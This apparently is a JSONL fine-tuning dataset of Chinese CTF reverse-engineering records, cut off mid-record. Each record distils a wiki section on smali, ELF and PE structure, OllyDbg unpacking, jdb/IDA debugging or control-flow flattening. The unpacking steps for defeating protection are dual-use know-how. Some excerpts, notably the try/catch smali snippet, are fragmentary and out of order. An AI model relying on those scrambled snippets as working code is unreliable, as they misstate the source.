{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-be48b0164db6c2866f18", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「goto指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 跳转指令 > goto指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“goto指令”展开。\n- 如下 | 指令 | 含义 | | ----------------- | ----------------------- | | goto +AA | 无条件跳转到指定偏移处，偏移量AA不能为0 | | goto/16 +AAAA | 无条件跳转到指定偏移处，偏移量AAAA不能为0 | | goto/32 +AAAAAAAA | 无条件跳转到指定偏移处 |\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "goto指令", "heading_path": ["interfaces", "执行语句", "具体指令", "跳转指令", "goto指令"], "original_id": "docs-0dcc8a2a9573535e14cc", "original_line": 59, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "b24cbf9b86543659864a01ee", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-bf298cb4b8c57fb63fb1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > 简介\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- > 关于Link eDitor的命名，https://en.wikipedia.org/wiki/GNU_linker 目标文件由汇编器和链接器创建，是文本程序的二进制形式，可以直接在处理器上运行。\n- 那些需要虚拟机才能够执行的程序(Java)不属于这一范围。\n- ELF （Executable and Linkable Format）文件，也就是在 Linux 中的目标文件，主要有以下三种类型 - 可重定位文件（Relocatable File），包含由编译器生成的代码以及数据。\n- 可执行文件（Executable File），就是我们通常在 Linux 中执行的程序。\n- 共享目标文件（Shared Object File），包含代码和数据，这种文件是我们所称的库文件，一般以 .so 结尾。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 571, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "简介", "heading_path": ["ELF 文件", "简介"], "original_id": "docs-508ffddaaa0892b5ab84", "original_line": 457, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "03a509f4af085f9ee54f4f69", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-bf424f04e60c257a655c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「段类型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Program Header Table > 段类型\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 可执行文件中的段类型如下 | 名字 | 取值 | 说明 | | ------------------- | ----------------------- | ------------------------------------------------------------ | | PT_NULL | 0 | 表明段未使用，其结构中其他成员都是未定义的。\n- | | PT_LOAD | 1 | 此类型段为一个可加载的段，大小由 p_filesz 和 p_memsz 描述。\n- | | PT_INTERP | 3 | 此类型段给出了一个以 NULL 结尾的字符串的位置和长度，该字符串将被当作解释器调用。\n- | | PT_PHDR | 6 | 该段类型的数组元素如果存在的话，则给出了程序头部表自身的大小和位置，既包括在文件中也包括在内存中的信息。\n- | | PT_LOPROC~PT_HIPROC | 0x70000000 ~0x7fffffff | 此范围的类型保留给处理器专用语义。\n- 如果 p_memsz 大于 p_filesz，“剩余”的字节都要被置为0。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 835, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "段类型", "heading_path": ["ELF 文件", "Program Header Table", "段类型"], "original_id": "docs-ce969a3451253077274a", "original_line": 465, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "2599aab9e5967a10ea92fcda", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-bf57a5e214630bab7f87", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-relocation-table.md` 中的章节「基址重定位表」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-relocation-table.md`\n标题：基址重定位表\n章节：基址重定位表\n路径分类：executable / executable/pe/pe-relocation-table.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基址重定位表”展开。\n- 但是，如果转载时 PE 文件装载到了别处，此时文件中的绝对地址就都失效了，因为装载基地址已经改变，代码和数据的实际地址也相应的改变了，这时就需要通过重定位修复绝对地址，使其都能指向正确的位置。\n- 对于 EXE 文件，每个文件在执行时都会使用独立的虚拟地址空间，即总是能装载到在默认基地址处，也就不需要重定位信息；\n- 但是，同一个虚拟地址空间中可能存在多个 DLL，可能有的 DLL 就会面临默认基地址已经被占用的情况，所以 DLL 需要重定位信息。\n- 如果装载时 PE 文件确实装载到了默认基地址处，就不需要进行重定位；\n- 链接器在生成 PE 文件时，它假设执行时 PE 文件会被装载到默认的基地址处，于是将代码和数据的绝对地址都写入到 PE 文件中。\n\n关键术语：\n- 修复/缓解\n- executable\n- pe\n- pe-relocation-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 320, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "基址重定位表", "heading_path": ["基址重定位表"], "original_id": "docs-aeddfe3a0cba0037a2b1", "original_line": 502, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-relocation-table.md", "source_root": "docs", "source_sha256": "386bf338f195ffaf402d81ca2c42d8ae2256450f452dbc83285baf4d73d413ba", "split": "train", "split_group_key": "6d7f377f6ea2e665489b7692", "subcategory": "executable/pe/pe-relocation-table.md", "terms": ["修复/缓解", "executable", "pe", "pe-relocation-table.md"], "title": "基址重定位表"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-relocation-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c018663024a29323d0f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/esp.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/esp.md`\n标题：ESP 定律法\n章节：ESP 定律法 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 示例程序可以点击此处下载: 2_esp.zip 还是上一篇的示例, 入口一句pushad, 我们按下F8执行pushad保存寄存器状态, 我们可以在右边的寄存器窗口里发现ESP寄存器的值变为了红色, 也即值发生了改变.\n- 文件: ./figure/esp_01.png] 我们鼠标右击ESP寄存器的值, 也就是图中的0019FF64, 选择HW break[ESP]后, 按下F9运行程序, 程序会在触发断点时断下. 如图来到了0040D3B0的位置. 这里就是上一篇我们单步跟踪时到达的位置, 剩余的就不再赘述.\n- 文件: ./figure/esp_02.png]\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 418, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["ESP 定律法", "示例"], "original_id": "docs-0e5c7997bc5fb299d8ed", "original_line": 1538, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/esp.md", "source_root": "docs", "source_sha256": "1ddfa16a5239d9a6ad2e439a620e789a17cb0aac942e5e482397eae098cd0351", "split": "train", "split_group_key": "28863867048133295748ff07", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "ESP 定律法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/esp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c0b1606c1a6eca3e8dda", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「位描述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > Dalvik指令格式 > 位描述\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“位描述”展开。\n- 此外，在上面的展现形式种，指令由一个或者多个空格分割的 16 位的 word 组成，其中每一个 word 可以包含上述的几个元素。\n- 在位描述中，Davik 中的每一类指令一般由如下的元素构成 - 一个op，8位指令码 - 若干个字符，每一个字符表示4位 - 若干个 | ，进行分割，方便阅读。\n- 若干个 $\\varnothing$ ，同样也是4个字符，表示该部分位为0。\n- 举个例子，指令 B|A|op CCCC 包含2个 word，一共 32 位。\n- 其中，第一个字的低 8 位是操作码，中间 4 位是A，高4位是B。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 280, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "位描述", "heading_path": ["interfaces", "执行语句", "Dalvik指令格式", "位描述"], "original_id": "docs-dca097e7d42e621dda91", "original_line": 48, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "418647110973d3fa6f8675c5", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c15350ea03dda140b5be", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/last-exception.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/last-exception.md`\n标题：最后一次异常法\n章节：最后一次异常法 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 文件: ./figure/exception_01.png] 我们按下Shift+F9, 记录按了多少次, 程序正常运行. 我们要得到的是倒数第二次按下是按了多少次. 在本例中 shift+F9一次, 到了0040CCD2的位置 shift+F9两次, 程序正常运行 那么我们重载程序, 只需按下1次(2-1=1)Shift+F9, 来到0040CCD2的位置, 观察堆栈窗口, 这里有一个SE处理程序: 0040CCD7 [图片: exception_02.png;\n- 示例程序可以点击此处下载: 5_last_exception.zip OD载入程序, 在菜单选项->调试设置->异常标签页中取消勾选所有的忽略异常, 然后重载程序.\n- 文件: ./figure/exception_02.png] 我们在CPU窗口(汇编指令), 按Ctrl+G, 输入0040CCD7, 然后在此处按下F2. 也就是在0040CCD7处设置断点, 然后按下Shift+F9运行, 触发断点.\n- 文件: ./figure/exception_03.png] 触发断点后, 来单步跟踪. 向下都是一些循环和跳转, 我们使用F4跳过循环. 最后到达如下位置 [图片: exception_04.png;\n- 文件: ./figure/exception_04.png] 显然在最后的mov ebp, 0041010CC;\n\n关键术语：\n- 堆\n- 栈\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 883, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["最后一次异常法", "示例"], "original_id": "docs-318fb1954ce0fae0ba5c", "original_line": 1541, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/last-exception.md", "source_root": "docs", "source_sha256": "b2a792965d32d735434598dc723ba804e5771cfe0dd5e71788b2d73c8328474d", "split": "train", "split_group_key": "79a35192665d05bf7ddeac53", "subcategory": "reverse/platform/windows", "terms": ["堆", "栈", "reverse", "platform", "windows", "unpack"], "title": "最后一次异常法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/last-exception.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c2ab74390cf6149f3c0b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「在PC的xxx端口与手机的相应端口之间建立连接，方便通信」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：在PC的xxx端口与手机的相应端口之间建立连接，方便通信\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“在PC的xxx端口与手机的相应端口之间建立连接，方便通信”展开。\n- 同时，我们需要使用 jdb 在 java 层来将我们的 apk 应用 attach 到我们的电脑上，这里我们使用如下的命令。\n- adb forward tcp:xxx jdwp: `` 之所以不使用命令去执行，是因为我们还得自己去确定我们的 apk 的进程号，这会比较麻烦。\n- 执行之后 `shell C:\\Users\\iromise λ jdb.bat jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 设置未捕获的java.lang.Throwable 设置延迟的未捕获的java.lang.Throwable 正在初始化jdb... > `` 我们再次看一下我们的手机， [图片文件: ./figure/debug_attach_mobile.png] 此时，应用已经又继续运行了，不再是之前的 wai...\n- `shell jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=xxx ` 其中 xxx 就是我们在 ddms 看到的 8700 端口，一般默认就是这个。\n- 这里给出一个基本的通信过程 [图片文件: ./figure/jdb-debugging.png] 此时，我们的电脑已经与手机的 app 虚拟机之间建立了通信。\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n\n代码/命令片段线索：\n- plain: 5 行，首行 `之所以不使用命令去执行，是因为我们还得自己去确定我们的 apk 的进程号，这会比较麻烦。`\n- plain: 1 行，首行 `其中 xxx 就是我们在 ddms 看到的 8700 端口，一般默认就是这个。执行之后`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 630, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "在PC的xxx端口与手机的相应端口之间建立连接，方便通信", "heading_path": ["在PC的xxx端口与手机的相应端口之间建立连接，方便通信"], "original_id": "docs-63734f77c8a04300cfcd", "original_line": 84, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "efe0281a2a91c21d01e9b77c", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "AI安全", "android", "basic-reverse", "dynamic", "ida-native-debug.md"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c3400a9f4779e2151eb9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「try catch」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 异常指令 > try catch\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“try catch”展开。\n- ` 对应的smali如下 `smali const/16 v0, 0xa :try_start_0 # try 块开始 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;\n- >callAnotherMethod()V return-void :catch_0 # catch 块开始 move-exception v1 const/4 v0, 0x0 goto :goto_0 # catch 块结束 ` 可以看到，:try_start_0和:try_end_0之间如果存在异常，则会向下寻找.catch（或者.catch-all）语句，符合条件时跳到标签的位置，这里是:catch_0，结束之后会有个goto`跳回去。\n- >callSomeMethod()V :try_end_0 # try 块结束 .catch Ljava/lang/Exception;\n- 首先，我们来看一下try catch，如下 ``java int a = 10;\n- } catch (Exception e) { a = 0;\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 7 行，首行 `int a = 10;`\n- smali: 12 行，首行 `const/16 v0, 0xa`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 663, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "try catch", "heading_path": ["interfaces", "执行语句", "具体指令", "异常指令", "try catch"], "original_id": "docs-11ee26b4b29bac50ee7a", "original_line": 62, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "307dc84d3b93657a3e9a9b72", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c3734e2d1a96c40fe0b3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/control-flow-flatten.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/control-flow-flatten.md`\n标题：控制流平坦化\n章节：控制流平坦化 > 简介\n路径分类：reverse / reverse/obfuscate/control-flow-flatten.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 更多关于控制流平坦化的实现细节可以参考这篇论文.\n- 控制流平坦化（control flow flattening）是作用于控制流图的代码混淆技术，其基本思想是重新组织函数的控制流图中的基本块关系，通过插入一个“主分发器”来控制基本块的执行流程，例如下图是正常的执行流程： [图片文件: ./images/before-flattening.png] 经过控制流平坦化处理之后便变成了这个样子，由一个“主分发器”负责控制程序执行流： [图片文件: ./images/after-flattenning.png] 通过控制流平坦化，基本块间的前后关系将被混淆，从而加大了...\n\n关键术语：\n- reverse\n- obfuscate\n- control-flow-flatten.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 341, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "简介", "heading_path": ["控制流平坦化", "简介"], "original_id": "docs-baa77f1a7842cbc49798", "original_line": 1478, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/control-flow-flatten.md", "source_root": "docs", "source_sha256": "a13146bf953de717e641f39bf58a740ffb00ee7d8864bbdccd2e8160393ebdec", "split": "train", "split_group_key": "81ea82131c95c05823b8c375", "subcategory": "reverse/obfuscate/control-flow-flatten.md", "terms": ["reverse", "obfuscate", "control-flow-flatten.md"], "title": "控制流平坦化"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/control-flow-flatten.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c3d077edc17dbde12351", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/introduction.md` 中的章节「常规逆向流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/introduction.md`\n标题：软件逆向工程简介\n章节：软件逆向工程简介 > 常规逆向流程\n路径分类：reverse / reverse/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“常规逆向流程”展开。\n- 1. 使用strings/file/binwalk/IDA等静态分析工具收集信息，并根据这些静态信息进行google/github搜索 2. 研究程序的保护方法，如代码混淆，保护壳及反调试等技术，并设法破除或绕过保护 3. 反汇编目标软件，快速定位到关键代码进行分析 4. 结合动态调试，验证自己的初期猜想，在分析的过程中理清程序功能 5. 针对程序功能，写出对应脚本，求解出flag\n\n关键术语：\n- reverse\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 196, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "常规逆向流程", "heading_path": ["软件逆向工程简介", "常规逆向流程"], "original_id": "docs-a85fa7380386aa3067b8", "original_line": 82, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "source_root": "docs", "source_sha256": "768d6c888495fdf1c7fba9f305b7709fab79f182d1e6812c5f92443f4bf7d7df", "split": "train", "split_group_key": "ec81cf885aa17a57c33d20c0", "subcategory": "reverse/introduction.md", "terms": ["reverse", "introduction.md"], "title": "软件逆向工程简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c4188c4f1175e3c73a33", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/program-linking.md` 中的章节「Shared Object Dependencies」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/program-linking.md`\n标题：程序链接\n章节：程序链接 > 动态链接 > Shared Object Dependencies\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Shared Object Dependencies”展开。\n- 当一个动态链接器为一个目标文件创建内存段时，在DT_NEEDED项中描述的依赖给出了需要什么依赖文件来支持程序的服务。\n- 这种静态链接的操作在执行过程中是不需要动态连接器参与的。\n- 共享目标文件必须可以被程序读取，其它权限不一定需要。\n- 当链接编辑器在处理一个归档库的时候，它会提取出库成员并且把它们拷贝到输出目标文件中。\n- 共享目标文件同时也提供了服务，动态链接器必须将合适的共享目标文件attach到进程镜像中，以便于执行。\n\n关键术语：\n- executable\n- elf\n- linking\n- program-linking.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1384, "chunk_count": 1, 